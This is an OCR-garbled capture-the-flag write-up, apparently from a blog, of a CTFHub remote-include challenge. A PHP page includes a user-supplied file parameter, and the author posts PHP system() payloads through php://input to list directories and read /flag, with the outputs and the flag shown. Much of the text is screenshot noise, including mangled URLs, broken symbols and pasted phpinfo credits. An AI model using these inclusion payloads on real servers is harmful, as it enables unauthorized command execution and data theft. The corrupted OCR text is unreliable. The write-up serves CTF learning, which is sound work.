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$ExXFlag

nttps:/iblog.csdn.net/nai_kai

http://challe..ub.com:10080/ % = FriEER X | +

€ ()| challenge-843dc45dfd7e5488.sandbox.ctfhub.com: 10080

INT ~ = @ 50L BASICS- UNIONMN BASED- ERROR/DOUEBLE QUERY- TOOLS- WAF BYPASS- ENCODI
@ Load URL [ httpy//challenge-843dcd45dfd7e5488.sandbox.ctthub.com: 10080/
% split URL

b Execute

[ Postdata [] Referrer % OxHEX ™ &% %URL ™ % BASEG4 ins

<?php
error_reporting(0) :
if (isset(§_GET[ file'1)) {
if (!strpos(§_GET["file”], “flag”)) |
include $_GET["file”];
} else |
echo “Hacker!!!”:
}
} else |
hizhlizht_file(_ FILE_ );
}
i
<hr>
i don't have shell, how to get flag?<br>
<a href="phpinfo. php” >phpinfo</a>

i don't have shell, how to get flag?
phpinfo

“R&FHshell, HRELHflag? ”
FT {8 & —A-phpinfo()

’ http://challenge-843dc45dfd7e5488.sandbox.ctthub.com: 10080/

[] Postdata [] Referrer 4 OxHEX 3 4= %URL ™ X BASE6A I | /nsert string to replace

Insert replacing string Replace All 3 =

XMLReader Rob Richards

xmirpc Dan Libby

XMLWriter Rob Richards, Pierre-Alain Joye

XSL Christian Stocker, Rob Richards

Zip Pierre-Alain Joye, Remi Collet

2Zlib Rasmus Lerdorf, Stefan Roehrich, Zeev Suraski, Jade Nicoletti, Michael Wallner

Authors Mehdi Achour, Friedhelm Betz, Antony Dovgal, Nuno Lopes, Hannes Magnusson, Georg Richter, Damien
Seguy, Jakub Vrana, Adam Harvey, Peter Cowburn

Editor Philip Olson

User Note Maintainers Daniel P. Brown, Thiage Henrique Pojda

Other Contributors Previously active authors, editors and other contributors are listed in the manual.

llia Alshanetsky, Joerg Behrens, Antony Dovgal, Stefan Esser, i i Koi; i Maatta, Sebastian Nohn, Derick Rethans, Melvyn Sopacua,
Jani Taskinen, Pierre-Alain Joye, Dmitry Stogov, Felipe Pena, Da\nd Soria Parra, Stanislav Malyshev, Julien Pauli, Stephen Zarkos, Anatol Belski, Remi
Collet, Ferenc Kovacs

PHP Websites Team Rasmus Lerdorf, Hannes Magnussen, Philip Olson, Lukas Kahwe Smith, Pierre-Alain Joye, Kalle Sommer
Nielsen, Peter Cowburn, Adam Harvey, Ferenc Kovacs, Levi Morrison

Event Maintainers Damien Seguy, Daniel P. Brown
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Windows Infrastructure Alex Schoenmaker

PHP License

This program is free software; you can redistribute it and/or modify it under the terms of the PHP License as published by the PHP Group and included in the
distribution in the file: ICENSE

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY: without even the implied warranty of MERCHANTABILITY or
FITNESS FOR A PARTICULAR PURPOSE.

If you did not receive a copy of the PHP license, or have any questions about PHP licensing, please contact license@php.net.

Hfile & phpinfo2E EZ K], FriliEpayload :
xxx:10080/?file=php://input
post <?php system('ls');?>



€ challenge-843dc45dfd7e5488.sandbox.ctfhub.com:10080/?file=phpinfo.php Il c @ Qe wBa ¥ & @ s B
INT ~ = & SOLBASICS: UNION BASED- ERROR/DOUBLE QUERY- TOOLS- WAF BYPASS- ENCODING- HTML- ENCRYPTION- OTHER- XSS- LFi-

& Lload URL [ http://challenge-843dca5dfd7e5488 sandbox.ctthub.com:10080/ #ile=phpinfo.php

& spliturL

b Execute

[ Postdata [ Referrer @K OxHEX 3B @K %URL 3 @ BASEGd I | insert string to replacy

L{ﬂsfnrepmdngsm'f?g Replace All 39 =

XMLWriter Rob Richards, Pierre-Alain Joye

XSL Christian Stocker, Rob Richards

zip Pierre-Alain Joye, Remi Collet

zlib Rasmus Lerdorf, Stefan Roehrich, Zeev Suraski, Jade Nicoletti, Michas| Wallner

Authors Mehdi Achour, Friedhelm Betz, Antony Dovgal, Nuno Lopes, Hannes Magnusson, Georg Richter, Damien
Seguy, Jakub Vrana, Adam Harvey, Peter Cowbum

Editor Philip Olson

User Note Maintainers Daniel P. Brown, Thiago Henrique Pojda

Other Contributors Previously active authors, editors and other contributors are listed in the manual.

Ilia Alshanetsky, Joerg Behrens, Antony Dovgal, Stefan Esser, Moriyoshi Koizumi, Magnus Maatta, Sebastian Nohn, Derick Rethans, Melvyn Sopacua,
Jani Taskinen, Pierre-Alain Joye, Dmitry Stogov, Felipe Pena, David Soria Parra, Stanislav Malyshev, Julien Pauli, Stephen Zarkos, Anatol Belski, Remi
Collet, Ferenc Kovacs

PHP Websites Team Rasmus Lerdorf, Hannes Magnusson, Philip Olson, Lukas Kahwe Smith, Pierre-Alain Joye, Kalle Sommer
Nielsen, Peter Cowburn, Adam Harvey, Ferenc Kovacs, Levi Morrison

Event Maintainers Damien Seguy, Daniel P. Brown

Network Infrastructure Daniel P. Brown

‘Windows Infrastructure Alex Schoenmaker

PHP License

This program is free software; you can redistribute it and/or modify it under the terms of the PHP License as published by the PHP Group and included in the
distribution in the file: LICENSE

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY: without even the implied warranty of MERCHANTAILITY or
FITNESS FOR A PARTICULAR PURPOSE.

If you did not receive a copy of the PHP license, or have any questions about PHP licensing, please contact license@php.net.

i don't have shell, how to get flag?
phpinfo

€ (U | challenge-843dc45dfd7e5488.sandbox.ctfhub.com: 10080/ ?file=php://input

INT ~ = & SOLBASICS- UNION BASED~ ERROR/DOUBLE QUERY- TOOLS- WAF BYPASS-
4=l Load URL fhﬂp:f}challenge-ﬁﬂdcdﬁdfd?eSd—BB.sandbnx.ctfhub.com:10080{?ﬁ|e=php:fﬁnput
B split URL

) Execute

Post data [ | Referrer 4™ OxHEX ™» 4% %URL ™ 4% BASEG4 ™

r=:'!"ph;;: system('ls"); 7=

Post data

index.php phpinfo.php

i don't have shell, how to get flag?
phpinfo



http://challen..e=php://input * ' FiESR

€ (i | challenge-843dc45dfd7e5488.sandbox.ctfhub.com: 10080/ ?file=php://finput

INT ~ = & SQL BASICS-

@ Load URL
% split URL

b Execute

Post data

x|+

UNION BASED- ERROR/DOUBLE QUERY- TOOLS- WAF BYPASS- ENCODING- HTML-

(—h‘ttp:f,'challenge—g-‘l&dc45dfd?e 5488.sandbox.ctthub.com: 10080/ ile=php://input

Post data

(] Referrer 4™ OxHEX ™» 4% %URL ™ % BASE64 ™

insert string to rey

'rq?php system('ls /);7=

bin boot dev etc flag home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var

i don't have shell, how to get flag?

phpinfo
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€ (i | challenge-843dc45dfd7e5488.sandbox.ctfhub.com: 10080/ ?file=php://finput

INT ~ = & SQL BASICS-

@ Load URL
% split URL

b Execute

Post data

|
|

ot
i
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m
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UNION BASED- ERROR/DOUBLE QUERY- TOOLS- WAF BYPASS- ENCODING- HTML-

(—h‘ttp:f,'challenge—g-‘l&dc45dfd?e 5488.sandbox.ctthub.com: 10080/ ile=php://input

Post data

(] Referrer 4™ OxHEX ™» 4% %URL ™ % BASE64 ™

Insert string to re

'rq?php system(‘cat /flag’);?=

ctfhub{34f653c72f8b09591470934de0d8089c9052b41a}

i don't have shell, how to get flag?

phpinfo

ctfhub{341653c72f8b09591470934de0d8089c9052b41a}

BB R MG, TE R AR



	CTFHUB 远程包含

